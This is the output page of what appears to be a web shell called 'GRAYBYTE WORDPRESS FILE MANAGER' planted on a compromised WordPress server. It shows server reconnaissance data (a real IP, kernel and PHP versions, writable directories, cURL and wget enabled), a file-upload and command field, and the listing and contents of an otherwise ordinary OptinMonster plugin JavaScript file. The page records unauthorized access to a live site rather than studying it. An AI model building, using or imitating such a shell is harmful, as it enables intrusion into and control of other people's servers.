GRAYBYTE WORDPRESS FILE MANAGER9662

Server IP : 162.213.255.40 / Your IP : 216.73.216.6
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/plugins/optinmonster/assets/js/Utils/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/plugins/optinmonster/assets/js/Utils//campaigns.js
import get from 'lodash/get';
import { hasSites } from './sites';

/**
 * Get available inline campaign select options.
 *
 * @since  [since]
 *
 * @param  {string}  type       The campaign generic type (inline or other).
 * @param  {string}  slug       The campaign slug.
 * @param  {boolean} checkSites Whether to check for sites (return empty result if no sites connected).
 *
 * @returns {Array}              Array of campaign options for select elements.
 *                              Includes value, label, and selected/disabled properties.
 */
export const getOptions = (type, slug = null, checkSites = true) => {
	if (checkSites && !hasSites()) {
		return [];
	}

	const campaigns = get(OMAPI, `campaigns.${type}`, {});
	if (Object.keys(campaigns).length < 1 || !OMAPI.omUserId) {
		return [];
	}

	let available = Object.keys(campaigns).map((value) => {
		let label = get(campaigns, `${value}.title`, '');
		if (get(campaigns, `${value}.pending`)) {
			label += ' [Pending]';
		}

		const selected = null !== slug && slug === value;
		const disabled = null !== slug && get(OMAPI, `_usedSlugs.${value}`) && value !== slug;

		return { value, label, selected, disabled };
	});

	if (available.length > 0) {
		available.unshift({ value: '', label: OMAPI.i18n.campaign_select });
	}

	return available;
};

/**
 * Get the global campaign object from OM API for given slug.
 *
 * @since 2.3.0
 *
 * @param  {string} slug The campaign slug.
 *
 * @returns {Object|null} The global campaign object or null.
 */
export const getCampaign = (slug = '') => {
	const key = `om${slug}`;
	return window[key] ? window[key] : null;
};

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:29
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:29
hellrfbn / hellrfbn
0644
campaigns-block-settings.js
1.152 KB
February 05 2025 15:45:15
hellrfbn / hellrfbn
0644
campaigns.js
1.592 KB
February 05 2025 15:45:15
hellrfbn / hellrfbn
0644
monsterlink.js
0.215 KB
February 05 2025 15:45:15
hellrfbn / hellrfbn
0644
sites.js
0.073 KB
February 05 2025 15:45:15
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF